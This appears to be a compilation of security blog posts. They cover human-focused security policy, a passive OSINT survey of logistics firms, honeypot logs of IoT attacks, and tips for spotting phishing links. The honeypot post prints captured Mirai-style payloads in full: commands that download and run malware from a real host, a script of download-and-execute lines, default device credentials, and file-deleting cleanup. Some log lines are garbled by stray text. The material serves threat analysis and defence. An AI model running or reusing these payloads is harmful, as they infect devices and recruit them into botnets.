Human-Based Information Security Theory: Part 2

In my last blog, I wrote about the idea that information security is not a technological problem, but a human one. I also posited that the security controls and methodologies that we have followed for the last half century have not worked; in fact they have been proven less and less effective as time goes by.

My idea is this: if you want to counter modern information security threats, the most effective tool to throw at them is humans; technological devices should purely exist to:

  1. Prevent attackers from accessing network resources.
  2. To aid humans in collating and parsing monitoring information.
  3. And in the future (perhaps), to aid humans in retaliating against the attacks that are perpetrated against our sovereign and private information resources.

For the bulk of information security, I cite humans as the culpable parties. We should realize and plan on our known failings:

  1. Humans are basically lazy, self-interested and unreliable. Despite the fact that most of us do well most of the time, once and awhile we all exhibit these characteristics.
  2. Humans can be larcenous, vindictive and contentious, especially when their egos have been bruised or their aspirations have been thwarted.
  3. Humans are changeable and unreliable. Incidents in their private lives can greatly affect their business performance on a day to day basis.

We should also plan on the known strengths of humans:

  1. Humans can be noble and above contempt. Speaking to and depending on the rectitude of a true mensch can inspire humans to act above their normal inclinations.
  2. Humans are MUCH more perceptive than any machine ever build. Our minds work holistically and are at least an order of magnitude more complex than any two dimensional system ever built or conceived.
  3. Humans can be inspired to levels of effort and caring that are entirely beyond any machine.

So this is what I propose:

  1. Information security efforts should rely on human monitoring and risk assessment.
  2. Human ego and hubris should be mandated against; when cults of personality and ego arise it is time for a change to the more rational side of life.
  3. Human frailty and licentiousness should be expected, monitored for and countered effectively in a human manner.
  4. Make your enemies your friends. Find the clever ones that are usurping your defenses and bring them onto your side.
  5. Spend less on machines and applications and use the human resources you do have to their best effect.
  6. (This is the most controversial): Test your people to get a handle on who is trustworthy at the moment and who is not. Reward the loyal, but never lose sight of the fact that humans are changeable.
  7. Make sure that dual controls and separation of duties are employed to their greatest functional effect. No one person should hold the keys to the kingdom.
  8. Distrust centralization. Despite “efficiency and economies of scale,” putting all of your eggs in one basket is NEVER a good idea.

I think if we try this more human approach to information security, perhaps we will be more successful than we have been in the past. After all, what have we got to lose? Nobody can accuse us of doing overly well to this point!

A SilentTiger™ Look At The Logistics Industry

I was recently asked to discuss how attackers view parts of the logistics industry with some folks from a research group. As a part of that, I performed a very quick OSINT check against a handful of randomly chosen logistics firms set around a specific US geographic area. Using our proprietary SilentTiger™ passive assessment platform, we were able to quickly and easily identify some specific patterns. We allowed the tool to only complete the first step of basic foot printing of the companies and analyzed less than 10% of the total data sources that a full run of the platform would access.

 

This quick approach lets us learn about some of the basic threat densities that we know are common to different industries, and gives MSI a rough idea of comparison in terms of security maturity across a given industry. With a large enough data set, very interesting patterns and trends often emerge. All findings below are based on our small geographic sample.

 

In this case, we quickly identified that our sample set was not as mature in their phishing controls as other industries. There were substantially more overall phishing targets easily identified across the board than other industries we’ve sampled (we mined 312 targets in 60 seconds). However, the platform ranks the threats against the identified phishing targets using basic keyword analysis against the mined email addresses, and in this case, the good news is that only 3 “critical risk” target accounts were identified. So, while the engine was able to mine more accounts in a minute than other industries with similar sized samples, the number of critical accounts mined in a minute was quite a bit less than usual. We ranked their maturity as low, because in addition to the number of mined accounts, the platform also found specific histories of this attack vector being exploited, some as recent as within 3 days of the study.

 

The study set also showed issues with poor DNS hygiene to be prevalent across the study group. Leaking internal IP address information and exposure of sensitive information via DNS was common across the data set. Many of the companies in the data set also exposed several dangerous host names that attackers are known to target to the Internet. Overall, 67 sensitive DNS entries were found, which is again significantly higher than other similar industry datasets. When compared against highly regulated industry data sets of similar size, the logistics industry sample shows an 18% increase versus average with regard to poor DNS hygiene. This likely increases the probability of focused targeting against what is commonly viewed as weaker targets – translating to increased risk for the logistics industry.

 

Lastly, the data set also demonstrated the logistics industry to be plagued with the use of plain text protocols. Telnet and FTP exposures were the norm across the data set. Given the known dependence on flat file, EDI and other plain text operations data across the logistics industry, the maturity of controls surrounding these exposures seems to be relatively low. In some cases, anonymous FTP was also in use and exposed operational data (we have notified the companies of the issue) across the Internet. This is a significant problem, and represents a clear and present danger to the operations of these firms (according to the sources we talked with about the issue). We also identified attacker conversations around this issue, and the presence of these targets on attacker lists of compromised hosts or hosts to use for covert data exchange!

 

Obviously, if you are a security person for a logistics firm, these points should be used for a quick review of your own. If you’d like to discuss them or dive deeper into these issues, please don’t hesitate to get in touch with MSI (@microsolved) or give us a call for a free consultation. As always, thanks for reading, and until next time, stay safe out there!

Beyond the firewall – 4 hours of recorded attacks against IOT devices

The graph below shows a distribution, by country, of the attacks seen by a laptop exposed to the open Internet for 4 hours on July 23, 2017.  TCP 23 (telnet) and TCP 1433 (MSSQL) were exposed and attack payloads directed against those services were recorded by honeypots running on those ports. All attacks are listed below together with a discussion of two particular IOT (Internet of Things)  attacks.

The laptop exposure was inadvertent and possibly related to Universal Plug and Play (UPNP) being enabled on the home router.  The laptop happened to be running an HPSS honeypoint agent with fake listeners on several common service ports. The agents send alerts to a central console that records information about the attack in a database and optionally writes to a log.  Those log entries are provided at the end of this post.

Here’s the net message:

Attacks against unsecured IOT devices are a reality – and they are happening right at the Internet boundary of your own home or business.

Do you have an IP-enabled home video camera or similar device?  See if it is on this list of devices known to be attacked:

https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/

Note that events similar to those described below can – and do – happen within the firewall. See our previous post on the use of honeypots to detect the spread of malware within the private internal space of an organization.

If you are not already using some form of honeypot as part of your IDS strategy, consider doing so. They are normally quiet watchdogs – but when they do bark, there really is something going on you need to know about.

==> Oh.. and UPNP?  If that’s enabled on your home router, TURN IT OFF!

Netgear: http://netgear-us.custhelp.com/app/answers/detail/a_id/22686/~/how-to-disable-the-upnp-feature-on-your-netgear-router

Linksys: https://www.linksys.com/us/support-article?articleNum=135071

ASUS:  https://www.ghacks.net/2015/03/24/secure-you-wireless-router/


Here are the details of the attacks seen during that 4-hour window:

The sources of attacks were diverse by country of origin. The attacking systems were almost certainly compromised systems being used by the attackers without the owners awareness, although state-sponsored activity cannot be ruled out.

  • Here is one item of interest:

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015

  • The attacker IP (1.30.116.116 ) is registered in China/Mongolia.

inetnum: 1.24.0.0 – 1.31.255.255
netname: UNICOM-NM
descr: China unicom InnerMongolia province network

  • The attacker is attempting to cause the targeted victim machine to download and execute a shell script

wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh;

  • 185.165.29.111 – the source of the script – is an IP associated with Germany.

inetnum: 185.165.29.0 – 185.165.29.255
netname: AlmasHosting
country: DE

  • The few IP’s with reverse DNS in that /24 are associated with Iran (.ir domain).

host.mlsending.ir (185.165.29.58)
host.mlsender.ir (185.165.29.59)
host.madstoreml.ir (185.165.29.80)

  • Heckz.sh is associated with known malware

https://virustotal.com/en/file/5a5183c1f5fdab92e15f64f18c15a390717e313a9f049cd9de4fbb3f3adc4008/analysis/

  • The shell script – if successfully downloaded and executed , runs

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/mba; chmod +x mba; ./mba; rm -rf mba
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ebs; chmod +x ebs; ./ebs; rm -rf ebs
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ew; chmod +x ew; ./ew; rm -rf ew
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/aw; chmod +x aw; ./aw; rm -rf aw
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ftr; chmod +x ftr; ./ftr; rm -rf ftr
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/er; chmod +x er; ./er; rm -rf er
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/re; chmod +x re; ./re; rm -rf re
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ty; chmod +x ty; ./ty; rm -rf ty
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ke; chmod +x ke; ./ke; rm -rf ke
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/as; chmod +x as; ./as; rm -rf as
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/fg; chmod +x fg; ./fg; rm -rf fg
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/sddf; chmod +x sddf; ./sddf; rm -rf sddf
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/tel; chmod +x tel; ./tel; rm -rf tel

  • The “ew” program is known malware…..

https://virustotal.com/en/file/9685eeef4b7b25871f162d0050c9a9addbcba1df464e25cf3dce66f5653ebeca/analysis/

  • …and likely is associated with a variant of this botnet’s infrastructure:

https://en.wikipedia.org/wiki/Mirai_(malware)

  • Here’s another entry of interest

Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015

  • On the central console this shows as:

  • This is an attempted attack against a specific Chinese vendor’s (XiongMai Technologies) firmware using a login/password that is embedded in that firmware

https://krebsonsecurity.com/2016/10/europe-to-push-new-security-rules-amid-iot-mess/


Summary:

An unfortunate event, for sure. Still, the presence of honeypots on the targeted machine allowed us to capture real-world attack data and learn something of the reality of life beyond the firewall.  The Mirai botnet malware – and its variants – go from being something read about to something actually seen.

Always useful for understanding threats and planning meaningful defense.


The data:

Here are the raw log entries of attacks seen over the 4 hour exposure interval. The ones discussed above and some others of interest in bold.

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:42:47 Alert Data: Connection Received
Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:55 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:56 Alert Data: Connection Received
Jul 23 19:45: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:45:36 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:46: hpoint-2371 received an alert from: 38.133.25.167 on port 23 at 2017-08-06 19:46:42 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:28 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:38 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:39 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:50 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:57: hpoint-2371 received an alert from: 70.79.76.209 on port 23 at 2017-08-06 19:57:21 Alert Data: Connection Received
Jul 23 20:00: hpoint-2371 received an alert from: 222.96.190.71 on port 23 at 2017-08-06 20:00:04 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection ReceivedASUS:
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:53 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:56 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:22 Alert Data: Connection Received
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:44 Alert Data: root#015#012zlxx.#015#012enable#015
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:05 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:15 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:16 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:46: hpoint-2371 received an alert from: 103.253.183.107 on port 23 at 2017-08-06 20:46:31 Alert Data: Connection Received
Jul 23 20:48: hpoint-2371 received an alert from: 119.186.47.97 on port 23 at 2017-08-06 20:48:00 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:15 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at ASUS:2017-08-06 20:50:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:26 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:37 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 21:07: hpoint-2371 received an alert from: 113.53.91.152 on port 23 at 2017-08-06 21:07:14 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 192.249.135.180 on port 23 at 2017-08-06 21:12:15 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:53 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 21:17: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:17:51 Alert Data: Connection Received
Jul 23 21:18: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:18:12 Alert Data: root#015#01212345#015#012enable#015
Jul 23 21:51: hpoint-2371 received an alert from: 85.56.128.151 on port 23 at 2017-08-06 21:51:06 Alert Data: Connection Received
Jul 23 21:54: hpoint-2371 received an alert from: 24.212.74.182 on port 23 at 2017-08-06 21:54:45 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:35 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:58 Alert Data: guest#015#01212345#015#012enable#015
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.here’s the b201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Connection Received
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:59 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:20: hpoint-2371 received an alert from: 31.163.178.165 on port 23 at 2017-08-06 22:20:07 Alert Data: guest#015#012guest#015#012enable#015
Jul 23 22:27: hpoint-2371 received an alert from: 91.122.218.139 on port 23 at 2017-08-06 22:27:09 Alert Data: Connection Received
Jul 23 22:35: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:35:53 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:22 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:39 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:17 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:39 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:53: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:53:36 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:54:09 Alert Data: enable#015#012system#015#012shell#015#012sh#015#012cat /proc/mounts; /bin/busybox JBQVI#015
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:19 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:41 Alert Data: root#015#01212345#015#012enable#015
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:35 Alert Data: Connection Received
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:57 Alert Data: root#015#012xc3511#015#012enable#015
Jul 23 23:02: hpoint-2371 received an alert from: 97.107.83.42 on port 23 at 2017-08-06 23:02:28 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:30 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:40 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:44 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 23:19:20 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 ASUS:23:19:23 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:23: hpoint-2371 received an alert from: 109.96.99.66 on port 23 at 2017-08-06 23:23:37 Alert Data: Connection Received

Verifying links before you get phished

Your Mom sends a funny cat video link on YouTube. Your department head sends a link for the training schedule. There’s an email in your Inbox from Amazon for a laptop sale.

Always think twice before clicking on any of those links. Is that email really from Mom or the department head or Amazon? Even if it was really from Mom’s account, is that link really for a cat video on YouTube? Her account, could have been compromised, and the email sent with an obfuscated link.

Phishing works

Phishing campaigns are effective; estimates range from 60 to 90% of all email is a phishing message. MicroSolved’s social engineering exercises have yielded from 11 to 43% success – success meaning recipients have clicked on the benign links in our phishing exercises for clients with their employees. Estimates average 30% of phishing links are clicked.

Obfuscated URL in an Email

So, never click on a link in an email. OK, that may be a little absolute. Only be certain that the link is what you expect it to be. Hover over the link and either a popup or in the status bar of your email client/browser will display the URL. Verify the domain in the link is valid. Simple link obfuscation techniques such as registering a domain named yuotube.com (note the spelling) is an easy phishing and effective trick.

Another trick is hiding the URL behind friendly text, for example, click here. This technique could easily have been used to create a link = stateofsecurity.com – but the the link actually browses to MicroSolved’s home page.

Image links are not immune. That Amazon logo in the email – does that really link to amazon.com? Hover over the link to verify the URL before you click on it. Or better yet, open your browser, type amazon.com in the address bar, then search for and browse to the laptop sale. By the way, don’t browse to yuotube.com, just take my word for it.

Similarly, while browsing or surfing the web, it is always good practice to verify links before you actually click on them. Hover and verify.

Check that browser address bar

So, now that you’ve clicked on that link and landed on the destination web page, are you sure that’s chase.com’s login page? Before you enter your bank account login credentials, check out the URL in the address bar. Make sure it’s https. Any URL that requires you to enter some identification should be over the encrypted protocol, https.

Next, just because the URL has chase.com within it, does not make it a valid chase.com page. Check out the two images below; phishers often trick their victims by obfuscating a URL with a string of an expected valid domain name in the URL:

Note that chase.com is part of the URL, but the login.html page is actually in the badbaddomain.com. The attackers are counting on users to notice the “chase.com” in the URL and click on their link. Once clicked, the user is to taken to a rogue web server with a login page that mimics the real login page for the bank. If the user continues with typing in their authentication credentials, the trap  has sprung – the rogue server has saved the user’s credentials, and the bank account will soon be drained of its funds. Often, after the user enters the credentials, they may be redirected to a valid 404 error page in the user’s bank server, and the user imay be a little confused but unaware that they’ve just given away their credentials.

Current browsers have a feature to help users pick out the actual domain name from the URL – in the top image, the Firefox address bar displays the domain name part of the URL in black font, and everything else in a gray colored font. This is the default behavior; the setting can be changed for the entire URL be the same color format.

Not all browsers display the URL in such a way, Chrome displays the same obfuscated URL as below; the domain and subdomains part of the URL are in black font and the sub-directories and page resource are in grey font:

Shortened URLs

Shortened URLs have become much more popular because of Twitter – it’s a method of reducing a long (regular) URL into a shortened version of usually 10-20 characters. However, because of the condensed URL, it’s not possible to determine the actual address of the link. In this case, it would be wise to copy the shortened URL and validate it with a URL expander website, such as checkshorturl.com or unfurlr.com or unshorten.it.

It’s a minefield out there. Attackers are constantly phishing for their next victim. Be vigilant, beware of what you click, surf safe.

Sources:

https://blog.barkly.com/phishing-statistics-2016